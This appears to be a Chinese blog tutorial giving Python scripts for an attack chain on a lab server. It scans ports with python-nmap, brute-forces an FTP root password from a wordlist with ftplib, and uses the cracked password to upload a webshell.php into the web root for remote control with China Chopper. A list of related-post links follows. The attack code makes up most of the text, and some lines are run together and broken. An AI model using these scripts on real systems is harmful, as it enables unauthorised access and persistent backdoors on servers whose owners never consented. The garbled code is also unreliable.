python——利用nmap进行端口扫描,爆破ftp密码,上传wellshell.
一、端口扫描
首先安装nmap与python-nmap模块。从http://nmap.org/download.html网站下载nmap安装文件。从http://xael.org/norman/python/python-nmap网站下载python-nmap模块安装文件。
1.代码。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import sys
import os
import nmap
import socketnm = nmap.PortScanner()nm.scan = ('192.168.139.128', '1-1024')for host in nm.all_hosts():print('-------------------------')print('host : {0} ({1})'.format(host, nm[host].hostname()))print('State : {0}'.format(nm[host].state()))for proto in nm[host].all_protocols():print('--------------')print('Protocol : {0}'.format(proto))lport = list(nm[host][proto].keys())lport.sort()for port in lport:print('port : {0}\tstate : {1}'.format(port, nm[host][proto][port]))print('----------------------------')
端口扫描原理是黑客pc向服务器pc发送多种协议的数据包,观察服务器pc的响应行为。若服务器pc给黑客pc返回某类数据包则证明服务器pc开放支持这种协议的端口!出了用python代码调用nmap扫描端口外,你可以直接在命令行使用nmap,这样更方便快捷!
nmap命令及参数
nmap:
-sS 半开扫描TCP和SYN扫描-sT 完全TCP链接扫描-sU UDP扫描-PS sym包探测(防火墙探测)-PA ack包探测 (防火墙探测)-PN 不ping-n 不dns解析-A -O和-sV-O 操作系统识别-sV 服务器版本信息(banner)-P 端口扫描-T 设置时间级别(0-5)-iL 导入扫描将结果-oG 输出扫描结果
2.测试。
使用Windows对Linux主机进行端口扫描。
查看服务器操作系统。
二、爆破ftp密码。
通过端口扫描我们看出此服务器开放21端口用来支持ftp协议(文件传输协议),ftp服务后台设置中通常不会检查密码输错次数,所以我们可以使用python提供的ftplib模块,爆破ftp密码。假设用户名已知,实际大多数用户都会使用默认的root用户名!
1.代码。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from ftplib import FTPword = open('C:\Users\lenovo\Desktop\w.txt','r')
user_login = "root"def getPassword(password):try:ftp = FTP("192.168.204.129")ftp.login(user_login,password)print("user password:",password)return Trueexcept Exception:return Falsepasswords = word.readlines()
for password in passwords:password = password.strip()print("test password:",password)if(getPassword(password)): break
word.close()
首先需要创建一个w.txt字典文件,打开w.txt文件,声明getPassword()函数,用于连接FTP服务器,并尝试登录,使用root用户名和字典密码登录。若正常登录,则执行下一条语句,否则触发异常!再使用for循环遍历字典,调用getPassword()函数,若正常登录则返回True,结束循环!
2.测试。
爆破Linux ftp服务密码。
三、上传webshell。
使用爆破出来的密码登录ftp服务器,上传webshell。功能强大的webshell可以实现远程控制主机。
1.代码。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from ftplib import FTPapacheDir = "html"
serverName = '192.168.204.129'
serverID = 'root'
serverPW = 'toor'ftp = FTP(serverName,serverID,serverPW)ftp.cwd("/var/www/html/")fp = open("C:\Users\lenovo\Desktop\webshell.php","rb")
ftp.storbinary("STOR webshell.php",fp)fp.close()
ftp.quit()
首先登录ftp服务器,再转到web安装目录,然后打开webshell文件,最后使用ftp.storbinary(“STOR webshell.php”,fp)上传webshell文件到web安装目录!
2.测试。
运行代码上传文件
在服务器端进入web安装目录,可以看到webshell文件成功上传,然后使用中国菜刀连接。
python——利用nmap进行端口扫描,爆破ftp密码,上传wellshell.相关推荐
- Python使用nmap进行端口扫描
nmap安装文件下载地址:https://nmap.org/download.html Python 3.x版本的nmap http://xael.org/norman/python/python-n ...
- Linux使用445端口,利用enum4linux 445端口+wordpress插件任意文件上传的一次渗透
探测内网80端口发现目标IP 目标使用Apache 2.4.7web服务中间件 使用linux Ubuntu系统 使用御剑扫描了目录 目录扫描到了 对192.168.31.236/wordpr ...
- ftp服务器可以异地传文件吗,FTP图片上传到异地服务器
#region 创建文件夹 MakeFolder() /// /// 创建文件夹 /// /// 例如:/newDir /// ftp地址(可带目录) /// ftp用户名 /// ftp密码 pu ...
- 使用Nmap进行端口扫描和服务识别
使用Nmap进行端口扫描和服务识别 第1章 Nmap的简介[1] Nmap ("Network Mapper(网络映射器)") 是一款开放源代码的 网络探测和 ...
- php 根据ip 扫描端口,python实现指定ip端口扫描方式
在Linux中判断一台主机是否可达,可以使用ping命令,而判断端口是否打开,可以使用telnet命令,但是telnet命令没有超时时间的参数,使用起来不是很方便,那么可以利用Python来完成一个端 ...
- ★Kali信息收集★8.Nmap :端口扫描
Kali信息收集~ 0.Httrack 网站复制机 http://www.cnblogs.com/dunitian/p/5061954.html Kali信息收集~ 1.Google Hacking ...
- python实现指定ip端口扫描
在Linux中判断一台主机是否可达,可以使用ping命令,而判断端口是否打开,可以使用telnet命令,但是telnet命令没有超时时间的参数,使用起来不是很方便,那么可以利用Python来完成一个端 ...
- Python利用matplotlib制作雷达扫描显示仪(之后可结合串口和超声波传感器使用,亦可以做为仪表盘使用)
Python利用matplotlib制作雷达扫描显示仪(之后可结合串口和超声波传感器使用,亦可以做为仪表盘使用).内有制作雷达扫描GIF图的源代码包含. ''' matplotlib雷达扫描 ''' ...
- python利用asyncore的端口映射(端口转发)的代码
如下代码是关于python利用asyncore的端口映射(端口转发)的代码. import socket,asyncore class forwarder(asyncore.dispatcher): ...
最新文章
- freeCodeCamp:Find the Longest Word in a String
- 《中国人工智能学会通讯》——10.22 能源互联网时代
- matlab 寻找二进制图像边缘
- FS,FT,DFT,DFS和DTFT的关系
- python系统学习1-程序设计的基本方法
- Blazor+Dapr+K8s微服务之基于WSL安装K8s集群并部署微服务
- Duration(2020多校第二场D)
- Laynews内核仿阿怪资源娱乐网源码
- [Web Chart系列之三] 图形布局-Layout
- uni-app:uni.navigateTo 封装页面跳转传参
- rpg存档修改网站_Switch上国宝级欧美版RPG游戏推荐
- 第二单元 用python学习微积分(十六)定积分
- Log4j.properties 属性详解以及 LOG4J日志级别详解
- 在matlab中字母的小写转换成大写字母,wps文字怎么将大写字母转换成小写字母
- ffmpeg一些基本用法
- 怎么禁用计算机上的自动播放,关闭自动播放,小编教你Win7怎么关闭自动播放功能...
- 第1章 Java基本概念及环境配置——FAQ1.05 Java SE. Java EE和Java ME有什么区别?
- 个人自我介绍快闪风格PPT模板
- 如何从后面截取字符串 String.slice()
- java 中常用框架、intell idea简单使用、爬虫系统